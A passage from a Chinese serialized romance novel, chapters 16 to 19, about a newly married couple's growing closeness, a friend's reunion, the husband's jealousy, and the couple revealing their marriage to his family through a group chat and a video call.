陈羲和面无表情的接过手机,对着镜头前的陈言臻道:“不给看,自己回家来见你嫂子。”
然后十分自然顺手地挂了视频。
陈言臻:……可恶。
“你就这么挂电话啦?”林望舒戳了戳陈羲和的手臂问道。
“嗯,她应该也习惯了。”
好吧,她还是有点心疼妹妹的。
滕今若拿回手机就看到陈言臻的哭诉。
【我靠!】
【你说我哥是不是有病!】
【嫂子都在旁边了还不让我见!】
滕今若本来还想给陈言臻拍一张他们二人的照片,但在看到陈羲和紧紧靠在林望舒旁边的样子,还是打消了念头,继而给陈言臻发消息说:
【谁叫你暑假了不回家。】
她也不知道这位大小姐怎么想的,四年前忽然出国,现在更是说要历练自己,暑假还要待在国外连家都不回了。
谁知对面陈言臻发来一张航班截图,直接一句:
【我订了明天的机票。陈羲和给我等着!】
你们陈家人都是这么雷厉风行吗?
【最后一句,你信不信我发给你哥。】
【不要啊,大姐姐!我哥会打死我,然后断了我的经济来源!我就没办法拿两份生活费了…】
滕今若:……
*
从画展到澜庭内置的包厢,一路上滕今若对林望舒很好奇。她们两个手挽手有说有笑的走路聊天,把陈羲和甩在了后面。
“滕小姐,刚刚看了你的画展,有几个问题想问问你,可以吗?”
她嗓音温和,两人靠这么近,就好像林望舒在她耳边讲话一样。声音听起来很舒服,带着颗粒感的磁性,很入耳,音量不大,但一点也不扭捏。
“叫我今若就好。我真的很喜欢和其他人谈论画。都说一千个读者就有一千个哈姆雷特,我想画画也是一样,每个人对这种‘情绪表达’的理解都是不一样的。”
这也是她画画最初的目的,在不同人的眼中品味人生百态,这样的创作才有人情味,才有意义。
“如果我没有理解错的话,前面几个展的图,都是用你的眼睛去看别人的世界,用自己的笔讲其他人的故事,那最后一个展怎么开始了自己的故事呢?”
滕今若看她模样认真,没忍住捏了捏她的脸,实在说可爱!
想了想,组织好语言才对林望舒说:“因为后来我遇到了一个人,一个我很喜欢很喜欢的人。”
所有故事的转折点,都是因为他。
滕今若跟林望舒讲了许多他们的故事,相遇相知相爱。
“那他今天没来吗?”林望舒听完动容地问。
“他啊,可能不会来了,以后也不一定了。我们分开了。”滕今若苦笑了一下,自顾自叹了口气。
“抱歉,我不是故意问……”她拍了拍滕今若的背,歉声道。
“没事,都过去了。也许他就只能陪我走这一程呢?至少遇见他之后,我变好了很多。”
她朝林望舒释然地笑笑,再次开口:“你是不是还想问,一年四季,为什么后来独独没有春天?”
林望舒点头。这是她最大的疑惑,画中故事并不完整。
滕今若接下来的话也印证了她所想的:
“因为或许我们的故事还没有结束,春天就留到未来给我答复吧。”
两个人也好,一个人也罢。等到那个时候,都是最好的结局了。
……
晚饭吃的差不多了,滕今若战战兢兢地给陈言臻发消息:
【我终于懂你的感受了,我感觉你哥现在想把我刀了……】
【[白眼]jpg.】
事情还得从几十分钟前说起。
林望舒和她一路走来,冷落陈羲和就算了,就连三个人一起吃饭的时候,林望舒也是直接挨着她坐的。
她们两人这一来一往聊的不亦乐乎,都还没发觉有什么不对劲,直到滕今若渐渐察觉到对面不善的眼神。
其实也不是陈羲和板脸,只是见过刚刚和林望舒在一起的温柔的样子,差点忘记这人平常的冷然和行事的果决了,反正周身透露着不好惹的气息,尤其是现在。
本来是跟好姐妹诉苦,结果对面的陈言臻给她发了一连串的“哈哈哈哈”还有几个抽象表情包,完全不顾她死活一般。
遇上你们兄妹二人真是倒八辈子霉了!
林望舒只是觉得陈羲和说话越来越少了,表情也冷冷的不知道怎么回事。想了想大概是因为饭菜不合他胃口吧,然后默默在心里记下:他不喜欢粤菜。
陈羲和看林望舒眉眼弯弯没头脑的样子,忍不住在内心说了一句:真是个木头小姐。
为了缓解尴尬,滕今若说:“要不把景承熠几个叫出来一起去俱乐部玩?”
陈羲和当然想下意识拒绝,但今天看林望舒和滕今若相处的挺好,可能她还想去,就没急着回复,反而看向林望舒问:“想去吗?”
没等得及林望舒想好,滕今若那又有电话来临。
看着是陌生号码,她本来打算挂掉,但眼睛却定格在了号码下方的所在地——“北城”。
心脏骤然一缩,指尖颤抖地按下了接听键。
“若若,是我,我在澜庭。”
几乎是下意识的,滕今若就要跑出去,迈步一半才回过神,想起来给他们二人说一声:“今天没办法再聚了。”滕今若眼含笑意,隐隐泛着泪光,又转头对林望舒说,“他来找我了。”
真好啊,林望舒如此想着。等滕今若已经跑没影了,她还没回过神。
陈羲和屈身看着她,捏捏她的脸颊肉,看到有点泛红又不满的揉揉说:“这位林小姐,现在可以分点注意力给我了吗?”
好像从滕今若出现开始,自己
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确实没怎么注意陈羲和了……
林望舒扬起唇讨好的对他笑笑,两只手拉住他垂在身侧的手晃了晃。
“哪有哪有,这不接下来都和你一起了嘛!”偏偏还眨着水灵灵的眼看他。
陈羲和轻笑一声,内心叹了口气,怎么撒娇这么可爱啊。
“哦,是吗?”他手指点了点林望舒额头。
林望舒点头。嗯嗯嗯!当然是!
没再逗她,陈羲和圈住林望舒肩膀带她回家了。
听到他说回家,林望舒还有点不习惯。毕竟,现在说的不再是她一个人住的地方,而是他们两个的家。
一切变化都悄无身息,平静地进行,就像他们两人一样,从最开始的尴尬陌生,到现在的熟络自然。很新奇,也很喜欢。
林望舒不是个喜欢尝试新事物的人,她习惯于待在舒适区,喜欢一切有迹可循,甚至循规蹈矩也不无可能。
本以为对于婚姻这种茫然陌生的事情,自己会很反感排斥,但一点点相处下来,她一点也不后悔曾经那个迷糊又有点冲动下决心的自己。好像两个人……也很好,希望未来也可以这样好。
“陈羲和,你人真好。”林望舒冷不丁来这么一句。
倒是让陈羲和不明所以了。本以为她是在唱反调给他发“好人卡”,但看到她如此认真的表情,又踌躇了。
哎,陈羲和也不知道这姑娘脑回路是怎么转的,总是突然冒出一句有些莫名的话来。偏生还不打算解释一下这句,要让他自己琢磨。
*
白天站的久了,林望舒一回到家换好鞋,就到沙发上坐下捶小腿。才回家还没开空调,屋子里也闷闷的,这么一来一动自己先是出了一身汗,黏黏糊糊的很难受。
她给陈羲和落下一句“我先去洗澡了。”就匆匆回到卧室。
一进衣帽间的打开柜子就被怔住了。
先前林望舒自己的衣服也才占一半不到,现在已经整整齐齐填满了。还按照颜色长短分类好,一眼过去很赏心悦目。
四季的衣服都准备着有,上次专门提到的内衣也是用收纳盒放好的,除此之外还贴心准备了好几件睡裙。
她不得不感叹蒋秘书做事真的很让人省心。
知道她进去看见后会是这个反应,陈羲和紧随其后跟了过来。
“还满意吗?林小姐。得空了看看这些合不合身。”
陈羲和还在用“林小姐”打趣她。
不就是多跟滕今若说了几句话嘛,至于这么,斤斤计较吗!
“嗯嗯嗯,满意满意。”她有些敷衍的回他。但从她亮亮都眼睛中可以看出,这话不作假。
陈羲和并不在意她的应付了事,捉住林望舒的手放了一个东西在她掌中。
四四方方薄片质感,有点冰凉,是一张银行卡。
“无限额的卡,密码是我们结婚纪念日。有什么喜欢的可以自己买。”
就在林望舒准备开口拒绝时,陈羲和打断了她。
“不用说破费这类的话,丈夫给妻子花钱理所应当的。还有,公司未来几十年都狠稳定,按我赚钱的速度来说,你花的可能还没我赚的多,所以放心,我一时半会儿不会破产,不用给我省钱。”
16. 那你教教我
林望舒属实被这几句话怔地不清,感觉自己听了一段霸总语录,然而注意力全在陈羲和赚钱多这一点上了。
爱钱,肤浅吗?肤浅。但谁能不爱钱?没有!
好吧,林望舒承认这么霸道又直接的方式,她很喜欢!
其实之前结婚协议里面,过户的房子和转到她银行卡的钱已经够多了,她也不知道陈羲和为什么还单独给她一张卡用。虽然她不一定花,但是钱拿在手里的确很安心。
陈羲和拍拍林望舒的头,又用指尖蹭了蹭她挺翘的鼻子。
“原来这么开心啊,嗯?”
林望舒甩开他的手腕,躲避着他说:“我先去洗澡了。剩下的待会儿再说。”
再不去洗澡感觉自己要闷死了,这次不是因为天气热,房间里的闷,而是陈羲和靠近,两个人呼吸相近的闷。
还是像往常几次一样,林望舒用主卧浴室,陈羲和区次卧。
最近温度又回升了,在外面待了很久终归是不舒服的,林望舒还是决定再洗个头。
不过她要稍微磨蹭一点,陈羲和洗完,坐在床边看了好些时间的资料,才见她出来。
林望舒在浴室收拾了很久,才裹着头发找吹风机。
浴室门打开,热气随着白雾一同冒出,不同于空调房的温度渐渐侵染整个空间。林望舒就站在那团白雾中间。她今天换了一套睡衣,上下装都短袖短裤。四肢白皙处裸.露,晃人眼。
嗡嗡嗡的吹风声,打断了陈羲和的思绪。刚才沉浸看书的状态再也调整不回去,他干脆放下电脑,起身进了浴室。
林望舒偏着脑袋吹发根的头发,吹风声就在耳旁,隐匿了其他动静。她不知道陈羲和走了进来。
直到手中吹风机被人取走,顶替了她右手所处的位置。
陈羲和在给她吹头发。
林望舒稍微直起身回头,恰好对上陈羲和那一双眼,眼神是平时很少见的柔和。她突然想起今天滕今若在她耳边悄悄说的那番话。
“陈羲和肯定很喜欢很喜欢你。”
当时她不怎么相信,反问了一句为什么。
滕今若有点像在叹气,然后点点她太阳穴的位置,才说:“你是个榆木脑袋吗?他看你的眼神很不一样啊,就像热恋的男生,赤忱热烈但又温柔克制,就是那种想靠近又不敢的样子。而且不管你在哪,他的视线就像黏在你身上了。”
他现在好像就是这样的眼神……
早在察觉到她的动作,陈羲和就将吹风机拿远了一点再关掉。
她眼神疑惑,显然在等他开口。
“给你吹头。”随后摇了摇手里的吹风机。
“但是我今天该抹护发精油了。”
陈羲和找了下前后两句话的逻辑关系,好像懂了,她是在说:你不会抹护发精油。
他笑了笑,怎么好像越来越能懂她的逻辑了。
陈羲和挑眉戏谑地看她,语气却很认真:“那你教教我。”
林望舒不自觉鼓了鼓脸颊,拿起放在台上的瓶子,一字一句讲给他听。
大概顺完步骤,陈羲和就像上次一样给她吹头发。
栗棕色长发柔顺滑过他指尖,细细软软的发质,很舒服。
等把林望舒头发吹到半干,陈羲和照着刚刚说的步骤,一步一步慢慢操作,小心翼翼呵护她的头发。
她用的精油是玫瑰香的,现在他整个手掌都铺满这个味道,有种她的味道忽的毫不顾忌闯入,再侵染到他身上的亲密感。
“是这样吗?”他声音有点哑。
“嗯嗯。”林望舒点点头。
小心呵护完林望舒头发,陈羲和再次拿起吹风机。“嗡嗡嗡”,这次扰乱了两个人的心。
趁着陈羲和吹完洗手的间隙,林望舒猫着腰爬上床了,把自己捂得严严实实,但还记得给陈羲和留了一半的被子,而且这次,她自己睡到了中间。
察觉到林望舒走掉,陈羲和一直关注着她的动静,看她悄悄回到床上,莫名觉得她可爱,很想笑。
眉目间都是笑意,很惹眼。
林望舒露出的眼紧盯着他,这点雀跃自然没错过。
他怎么天天都这么高兴?林望舒确实不能理解为什么陈言臻和滕今若都说他很凶,因为她一直见到的陈羲和都是温和爱笑的样子。
陈羲和从林望舒面向的这侧上来。他把浴室和房间的的灯都关了,房间又陷入一片黑暗,只窗帘隐约露出点光线来,细细碎碎洒在床角。
在陈羲和关灯之际,林望舒悄悄转了身,躺平睡在床上,闭上了眼睛。
房间内良久没有声音,两人的呼吸偶尔打乱这里的平和。
只有这呼吸声和左侧传来的热意,告诉她,他们的确睡在了一起。
“林望舒。”就在林望舒以为陈羲和快要睡着的时候,他开口了。
“怎么了?”
“今天给你吹得怎么样?”
“啊?”
大晚上叫我名字就在问我这个?他很在意吗?林望舒越来越有点看不懂陈羲和了,但她还是回道,“哦哦,挺好的啊。”
林望舒还是刚才的动作,有种强迫自己放轻松睡着的样子。
听到这段话,陈羲和转过身看她。双眼完全适应了黑暗,他目光炙热,描摹着她侧脸:“那……不能有点奖励吗?”
奖励?还能奖励什么啊……他好像什么都不缺。
“你…想要什么奖励?”
陈羲和看到林望舒终于有了点动静,转过身看他,但好像察觉两个人挨得太近,又往后面退了点。
“我想想啊……”说完真的是一副思考的模样,吊足了林望舒胃口。
等待的时间总是很漫长的,林望舒不知道他会提什么要求,心悬在空中久久不能落到实地。
就在林望舒打算再开口问的时候,陈羲和开口了:“算了,不为难你了,那你抱抱我吧。”
林望舒“轰”的一下红透了脸,还好夜晚中看不清。
但是……他们现在都穿着睡衣啊。虽然这几天每晚上洗完澡都穿着内衣,可是这么抱着,也很不好意思。
不过他提的这个要求也不难,思考的过程中,林望舒胡思乱想到,都做好接吻的准备了。更何况以后还有更亲密的时候……反正早晚都
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要经历,现在就开始慢慢适应也好。
“好。”
回应之后,林望舒朝陈羲和身边蹭了蹭移过去。
陈羲和看着她蜗牛一样的速度,笑着直接把她揽了过来,两手就放在她腰后。
乍然被陈羲和圈在怀里,林望舒僵硬这身体,半点不敢动。
他的下巴正抵着她头,圈在腰后的手掌很热,不断蔓延到她身上,她感觉自己整个人都要熟透了。
“你…要抱多久啊?”
“才抱上就要赶我啊?”
林望舒语塞:“我不是这个意思。”
靠的近近的,可以清晰听到他的心跳声。
没过多久,随着这心跳,林望舒渐渐地放松下来,呼吸清浅,沉沉睡了过去。
察觉到怀里的林望舒身体渐渐软下去,陈羲和低头看去,她睡颜清甜,脸埋在他怀里,旁边还有不听话的发丝缠着,他一一拨开,露出原本精致的面庞。
指尖小心翼翼,触碰上她脸颊,摸了摸。
似有所感,她动了动,头放放摆摆在他怀里找了个舒服的位置停下,又不怎么适应一样,皱了皱眉头,呢喃了几句,顺着热源回抱了他,方才安心笑笑睡了过去。
要不是知道林望舒这个胆子比猫还小的性子,陈羲和都要怀疑她是故意撩.拨自己。
本只打算要点甜头,睡前抱抱她就好,没奢望能有多久。但事情就发展成了如今这样,两人紧紧相拥……但,他是既得利益者。
陈羲和没再敢动,怕她再有什么动作,自己今晚就真的睡不着了。
*
万恶的周一,闹钟响了两三次都被林望舒按掉了。她翻身滚到陈羲和睡的位置,那里冰冷一片显然他又早早起床了。
林望舒又埋头在枕间发懵,挣扎着强迫自己起床。
强行开机成功,坐起来却还是没有动作。
她在思考,思考人为什么要上班……为什么要早起。
时间没有告诉她答案,反而闹钟铃声再次响起,时间催促着她。这是她给自己定的阶梯式闹钟的最后一个。
烦,很烦。
林望舒拖着疲惫的身体下床洗漱,凉水敷在脸上总算有些清醒了。
她随意在衣帽间挑了一件衣服换上。好在陈羲和很贴心,这些品牌都很低调不显logo,她平常穿着也合适,不会过于引人注目。
看着穿搭色系挑了一个包包,正准备出门,却发现原以为的早已出门的人现在坐在饭桌前吃早餐,面前还有她的那份。
陈羲和穿着白衬衫,随意散了几颗扣子,林望舒看过去,他发尾还有些润,内心了然,今天也去跑步回来洗澡了。
林望舒不经暗自感叹,他每天起这么早出门跑步还要回来做早餐,习惯真好也怪辛苦的。
他慢条斯理地吃饭,动作优雅极了。相比陈羲和,林望舒就随意的多了,平时如何,现在就如何。
在看到陈羲和这样优雅的动作时,她有一瞬反问自己,要不要表现的和他一样,不过她很快否定了自己。
不要为了迎合别人而雕琢自身,原本真实的自己就很好。
17. 吃醋
林望舒平常都是到公司附近买的早餐,还没这样在家里悠闲吃过呢。
简单吃完她便跟陈羲和告别,打算自己先走了。
“很着急?我送你。”他们都已走到玄关处换鞋,陈羲和看到林望舒马上就要出发的样子,没忍住问。
“不着急啊,不用麻烦了。”
“顺路。”
说完,陈羲和捞起林望舒挂在手臂上的包,先一步打开门走出去,却又在林望舒关好门跟上来时停住了脚步。
她险些撞上陈羲和的后背。
林望舒有些埋怨地抬头看他,就在这时陈羲和开口了:“况且,我乐意送你。”
*
机场内,一个身穿纯白小吊带,下配米白色修身半身裙的女人走过。她踩着细高跟鞋,推着行李车,同旁人无异,但气质却很惹眼。
过了出站口,她停在原地四顾,没见来人,又拿出手机给备注着“ATM”的人发消息:
【哥,你人在哪啊?】
对面秒回。
ATM:【我有答应来接你吗?】
她一下摘掉戴着的墨镜,不敢置信地翻来覆去看了看对方发来的消息。
嗯,很好。
陈言臻咬牙切齿,吐出几个字:“陈羲和!太过分了!!!”
哪怕是这样的时候,她也微抬下巴,像一只高傲的孔雀。
又看了看自己推着的四五个箱子,陷入了沉思……滕今若现在也没空,早知道就让家里司机来接我了。
她又悄悄骂了陈羲和一句,不就是她回来先斩后奏了,上了飞机才跟他说嘛,但是!至于这么冷血无情吗!
手机又震动了一下,她烦躁地拿起。
ATM:【十一点钟方向。】
她蓦地抬头,就看见陈羲和冷冷站在那儿看着她。陈言臻暗自心虚,不知道刚刚动静他看到没有。
高特助过来接过陈言臻行李,她就顺势跑到陈羲和身边,对他谄媚笑笑:“我就知道你肯定会来的,哥哥你最好了!”
上车后,兄妹俩在后排,一路上全是陈言臻的叽叽喳喳,还跟陈羲和吐槽了好多在国外遇到的奇葩人物和倒霉事,别提多惨了。
“既然这么不顺,这么不开心,为什么不回家?”
陈羲和本来随意躺在后面假寐,等陈言臻说完,兀地睁开一双清亮的眼,凌凌目光扫到她身上,引起一阵战栗。
陈言臻倒不是因为害怕,她的确有点自责内疚。不仅是哥哥,父母两人也一直很担心她一个人待在国外会过不好,但她还是待了好几年没回来,是她不懂事了。
“还是因为江……”
“你别跟我提他。以前是我太幼稚,这几年我早就放下了,以后不会了……”
话毕,二人都默契地转移了话题。只是车内氛围奇怪,没有刚开始那样轻松。
“还有你,什么时候背着爸妈结婚了?还瞒着我,您也太厉害了。”她故意加重“您”这个字的读音,意味明显地呛他。
陈羲和轻笑一声,瞥眼看她,嫌弃地开口:“如果不想让你知道,我为什么要告诉滕今若?”
哦,行吧,勉强原谅。
“那你的意思是,你们结婚的事情,就我和滕今若知道?”
陈羲和点点头,补充道:“还有乖点。”
陈言臻不经意啧了一声,乖点现在的地位都和她一样了吗?但又想想还有那么多人不知道,又把自己哄开心了。
回到陈家,陈言臻被父母两个当成宝捧在手心,反观陈羲和就像被冷落了一般坐在角落,看着他们热闹簇拥着的陈言臻。
那眼神,陈言臻很清楚,戏谑警告。
陈言臻:呵呵。
她突然开始心疼那个素未谋面的嫂嫂了,天天要面对这么个冷脸,一定很辛苦吧。
从滕今若的描述中,她渐渐勾勒出了林望舒的身影。也不知道她怎么就被陈羲和这样的人,骗到手里了。
哎。
“臻臻,这次回来就不走了吧?”孟惠问她。
“嗯,不走了。不过后面还有些东西要处理,可能还要回去一趟,还有好些时候呢,我还可以待很久!”
女儿回来,孟惠倒是高兴极了。
“现在就让阿姨开始备菜给你做好吃的,你看你怎么瘦了这么多。”心疼搁在眼里毫不掩饰。
陈言臻马上抱住她说道:“瘦了不少更好看了吗?哎呀,国外都没好吃的,我这下一定要好好吃饭,妈妈可不要说我待会像个饕餮啊。”
孟惠点着她额头推开她,“少贫嘴了。”
陈怀诃坐在一边时不时插一句话,忽然问她:“怎么没说一声就回来了?”
那当然是想见见嫂嫂啦!
陈言臻之前是一直想等所有事情处理完了再回国的,这么突然回来,契机当然是是因为想见见林望舒。
不过她还没回答就察觉到了陈羲和不善的目光。她当然不会傻乎乎说出来,她嘴巴可严了好吗!
“就是想你们了呀!”
甜言蜜语一套一套的来,偏偏孟惠夫妻二人就吃这一套。
……
林望舒这一周开始格外忙碌,工作不断还要带实习生。更有时候还会加班,但是不管多晚陈羲和都会来接他,要是临时有工作也会让司机助理来接她。
她到是不用担心,太晚在路上不安全了。
两人这一周就如此,慢慢度过。一天见面的机会不多,相处最久的时候就是夜晚睡觉躺在一张床上。
自那次抱她之后,陈羲和还是借着其他理由向林望舒索抱,她也没拒绝,渐渐习惯了,被他抱着没多久就能沉沉睡去。
他们都默契的告诉自己的父母还在谈恋爱,打算渐渐等他们习惯了再说已经结婚的事情。
周末陈羲和怕乖点吵人,又想着平时太忙了没人照顾,就把它送回陈家宅子去了。
林望舒这一忙,连着双休都在处理工作。
结婚后这是她第二次进书房了,上次还只是简单看了看。她这一走进,环视四周看了看。
书房陈设古朴,采光尤其的好。每到午后,暖烘烘的光顺着窗沿洒下,铺在内里。一道道光线照在书桌上,泛起涟漪。
陈羲和专门在他书桌
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对面安置好位置留给林望舒。
两个人沉默地各自处理事情,但是氛围和谐安静,时不时传来翻页和打字的零碎声音。
陈羲和工作时会带护目蓝光眼镜。他不近视,只是长时间看屏幕眼睛格外的累,这样可以舒缓一下疲劳。
文件看累了,他靠着身后的旋转椅休息,仔细观察林望舒,把她一举一动,一幕一画工作的样子刻在脑海中。
她工作很认真,但总是微微蹙眉,长发微卷被挽成低丸子头垂在后面,几缕发丝挣脱束缚,冒出尖儿,随着她的动作扫了扫她白皙修长的脖颈。
她穿着深灰色睡衣,一个姿势累了,又把双腿盘在椅上,继续看起资料。
平常空落落的书房多了她,也变得鲜活起来。
*
又到了一周的周五,林望舒坐在工位发呆,脑中不自觉的回想这几天和陈羲和的相处。算下日子,他们已经结婚半个多月了,怎么这么快啊,但她好像还挺适应的。
从来没有一个人这样占据她的生活,但好像她已渐渐习惯这种,秩序感的乱码,或者说是,她已经不再和陈羲和有所谓的边界,把他归属到了自己的领域。
“望舒姐,你还不下班吗?”
一个个子高高的男生咧着嘴笑着问道,他穿着一件短T加工装裤,很是青涩。说话的是林望舒带的其中一个实习生,程旭。
“平时下班不是很积极吗?现在怎么个个不动了?”林望舒环视一圈,又看了看其他几个人,“好了,可以下班了。”
几个分到林望舒组的人工作也做得很好。林望舒不喜欢让别人跟着加班,也没那么多规规矩矩,只要态度认真,做事细心就能早点下班。
几番下来,她跟实习生几个相处跟朋友一样,也没什么架子大家都喜欢和她聊天。
说完几个人蠢蠢欲动,放低音量开始收拾东西。林望舒也不例外,她不紧不慢,陈羲和也才下班,没这么快能到。
其他几个实习生早就没影了,偏偏走到电梯口等电梯遇到了程旭。
“望舒姐!”
林望舒点头笑笑示意,问道:“你怎么还没走呢?”
程旭咳了咳嗓,随意抓了抓后面的头发回答:“打的车还没到,没那么着急。”
寒暄几句,电梯也来了,等抵达一楼,林望舒恰好看到陈羲和发的消息:
【过来接你。】
看见消息时,唇角不自觉地扬起,眼尾也染上了笑,连她自己都没察觉到。
一旁的程旭倒是看的有点呆了,找着话题同林望舒聊天。
带着笑回复几句的林望舒完全不知道,此刻这一幕全然落在陈羲和眼里。
一男一女,并肩从大厅走出来,来来回回有说有笑。
林望舒在手机上打字回复:【好!^_^】
陈羲和冷哼笑一声:她倒是开心。
不言其他,陈羲和直接走上前去。林望舒还没发现面前来人,就被陈羲和叫住名字:“望舒。”
她蓦地抬头,就见手机里那人出现在了面前。可此时,陈羲和声音冷冷的,面色也算不上好。
18. 家族大群
陈羲和快步走过来,十分熟稔地帮林望舒拿包,另一只手业顺势环住她的肩。整个过程没有分给身旁的程旭一个眼神。
林望舒愣愣地抬头,就见陈羲和绷紧了下巴垂眸看她。
林望舒不明白陈羲和今天怎么有点奇怪,现在就在公司大厅和她搂搂抱抱了。但是想着终于周末,还有他来接就高兴,没计较着问。朝一旁的程旭挥挥手告别:“那我先走了。”
陈羲和跟着林望舒的动作对程旭点点头,就把圈住她带走了,只留程旭一个人木讷在原地。
这一路上还是林望舒说话更多,陈羲和虽然有那么一点点的酸意,但也没表露出来。
陈羲和听着林望舒工作的事情,还有偶尔和同事聊的八卦,他时不时回几句。但兴致不高,就着这种状态一直持续到了晚饭。
有着双休,林望舒倒是一直很开心,但她总觉得吃饭的时候,陈羲和在想着什么,感觉心事重重,就连眉头耶微微皱起。
估计是他太累了吧,林望舒心想。
思索到这,林望舒干脆说:“晚上出去散散步吧。就当放松了。”
墨黑的夜,霓虹灯光尤为闪耀。风过树木沙沙作响,蝉鸣时不时窜出几句叫声,但在繁华的街道却成了微不足道的背景音,安静沉溺。
他们两个人手牵手并排走着,漫无目的。
到了另一边的廊桥,灯楼高光,色彩斑斓,顺着江水流动波光映照在脸上。人不算多,寥寥几个漫步行走。这里夜色确实很美,林望舒拿出手机想拍照记录,陈羲和就在旁边待着看她。
她仔细构图了几张,很满意地给陈羲和看,等他夸奖。才准备继续往前走,林望舒忽而觉得,他们两个好像除了结婚时那两张照片,好像没有什么合照了。
她回头戳了戳还在聚精会神看江边的陈羲和的腰,问:“要不要一起拍一张?”
陈羲和几乎是立马用行动代替了回答。他上前从后面搂住林望舒,把头放在她肩膀上,就着这个姿势拍照。
咔嚓。画面定格。
翻开相册一看,画面上林望舒笑意清甜,陈羲和趴在她肩上,跟着她的笑一起弯了弯唇,背后就是那个五光十色的灯楼。
陈羲和将还在欣赏照片的林望舒转到身前,低头看她:“月月,你觉得我们结婚的事,可以告诉他们了吗?”
他好像忍不了了,想告诉全世界,他喜欢林望舒,他属于林望舒了。
所以……他一晚上心不在焉,都是在想这个吗?
她也只呆住了几秒,便回答道:“好呀。”
毕竟已经结婚这么久了,她也一直在和爸妈说他们的进度。而且不仅是她,林望舒感觉父母二人都挺满意陈羲和的。
似是没想到她会答应的这么快,这下换陈羲和呆住了,他甚至都做好了林望舒拒绝的准备,结果就这么简单的答应了?他害思考了一晚上……
两人靠的很近,林望舒抬眼就能看进他眼底。
他一脸茫然,眉毛也因为震惊稍稍抬起,潋滟的桃花眼目不转睛地看着她,像是怕错过她任何一个微表情。
林望舒有模有样地学陈羲和,指尖点点他额头,再下滑到他高挺的鼻子,落到鼻尖碰了碰,说道:“你怎么傻傻的?”
她现在这些撩.拨的动作倒是信手拈来。
陈羲和在她快要撤离的时候捉住了她的手腕,他一只手就轻松圈住,毫不费力。再顺着手腕上移到手指,放在手里摩挲一下贴近了自己的脸颊。
林望舒脸颊臊红,指尖发烫,碰到陈羲和那有些微凉的脸。
冰火相递,他的脸颊也渐渐红了起来。
捉住她的手还是没松开,反而控住她的,使二者相贴更紧。
“月月,我很开心。”
而后陈羲和牵着林望舒沿着来时路慢慢走回去。他们二人又随意说起家里的事。陈羲和若有所思开口:“可能,我家里人比较热情。”
此刻的林望舒还没意识道这句话为什么他要格外提出来。直到晚上回去,接到了孟惠女士突然闪出的一个视频电话。
陈羲和有些无奈的拿出来,迎着林望舒探究的视线,又反过来挑眉看她。
“我妈打的视频。”叹了叹气又说道,“应该是来问你的。”
“啊…啊?怎么这么快?”
林望舒不知道的是……就在几分钟前,陈羲和在家族大群冷不丁发了一句:“我结婚了。”
然后收获了清一色的问号。
陈羲和:……?
紧接着他把那天拍了好几张的结婚证挑挑选选找出一张没拍到日期的,发了过去,不置一词。
然后群内死寂一片。
孟惠和陈怀诃这种知道林望舒长相的才反应过来,陈羲和原来真的和那个女孩在一起了,并且现在两人已经结婚了?!
随着孟惠发出的一句:
【你们什么多久在一起的?你们闪婚了?什么时候的事?】
再迟钝的人也该知道,这件事十有八九上是真的。
然后就是一连串的对话:
【什么时候的事?不对什么时候谈恋爱了?】
【女孩子长的真清秀,郎才女貌。】
堂房那边年纪小点的就说:
【嫂嫂真好看!】
【啊啊啊啊啊堂哥,你怎么找到这么好看的老婆!】
……
他挑了几个夸他们的回复,只是群里消息越来越多,他懒得再回,就发了一句【去陪我老婆了。】
然后把群设置成了免打扰,销声匿迹,留下群里一堆人独自寂寞。
陈言臻就在大群里浑水摸鱼装作不知道,然后小窗发消息给陈羲和。
【嗯嗯嗯,您真行。】
【这么突然都不让我有个心理准备。】
陈羲和:【?又不是你结婚,需要什么心理准备。】
陈言臻:【彳亍!】
……
陈羲和示意林望舒先去洗漱,他自己走到了阳台接起了电话。只是没想到,对面不止孟惠一个人。
小小屏幕里三个人都在,一家四口就这么“团聚”了。
陈羲和这下知道,一时半会结束不了了,他稍微活动了一下身体就坐回沙发,把手机搁在茶几上,漫不经心看着屏
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幕,一句一回地聊天。
先开口的是陈言臻,还挺装模作样地问:“哥,你们什么时候结的婚?”
“就今天。”陈羲和脸不红心不跳的回。
陈言臻:真能装啊。
“望舒搬过来了吗?”孟惠问出了他们最关心的问题。
陈羲和闹钟浮现出适才林望舒有些慌张的模样,面不改色地回道:“还没。”
孟惠眼睛微眯,凑近屏幕,继续道:“真的?”
“真的。”
“哦~那你衣服上的头发是谁的?”
陈羲和低头左右看了看并没有发现,方明白过来……被孟惠诈出来了。
孟惠笑了笑,看他的眼神仿佛在说:姜还是老的辣。
“怎么,不能给我们见见?”
陈羲和瞥眼看了一下卧室亮着灯的那出,转而对他们说:“下次带回家给你们见见。”
林望舒仿佛听到动静,双手趴着墙露出一个脑袋,看到他们还在视频,只夸张的做了一下嘴型,问:怎么了吗?
陈羲和瞬间染上笑意,轻轻对着她摇了摇头。
“反正家里离你们那也不远,这样过来住一段时间也好,正好你爷爷过几天回来,他老人家好不容易回国了一趟,还没见过望舒呢。”
陈老爷子也是陪着妻子在国外待惯了,一年到头回不到几次来。不过老人老了,他们儿孙子女的总是不放心,这才让陈老爷子每年也回几次家。恰好这段时间,轮到陈怀诃把他老人家接过来了。
林望舒还在原地,他们的对话她听得一清二楚。
察觉到陈羲和的犹豫,林望舒想,难得见几面,确实不好拒绝……要说之前的林望舒,一定总会想些有的没的,焦虑他的父母会不会喜欢自己。
但是转过头来想,毕竟他们婚已经结了,未来几十年也不是和他们过的,也就没那么担心了,顶多是见到稍陌生的人要紧张很多。
再者,今晚看到他们这样打电话,让她觉得他们家庭氛围应该很好。同她不一样,这是另一种全新的生活环境,她很渴望拥有的家庭气息。
提起来陈老爷子,孟惠又想起一些注意事项,同陈怀诃一起商量着,时不时点点陈言臻,那边几人说着话没看镜头。
趁着这个间隙,林望舒静悄悄的走到陈羲和身边,确保不会入境后拉了拉他衣袖,唇语道:我可以的。
林望舒原本是打算一起打个招呼的,但是现在她已经换好睡衣了,头发和妆容都没打理。不管如何,第一印象是很重要的,她不想和陈羲和的家人以这么潦草的方式见面。
这边的小动作对面三人自然是没发现。
陈羲和了然颔首,等他们说完,又侧过去探头对林望舒说:“没事不用打招呼,你先去洗漱。”
林望舒洗漱完出来,陈羲和才刚找好衣服去次卧。
以往都是出来后,陈羲和收拾好了等她,这次换作她等他了。林望舒指尖把玩头发绕来绕去,还怪不习惯的。
随后林望舒想到了什么,她听着对面陈羲和的动静,确保他进了浴室后,悄悄地不发出一点声响地把主卧的门关上了。
19. 炸毛兔子
而后,林望舒猫着腰爬上床,小心翼翼坐好盖好被子给陈悦打电话。
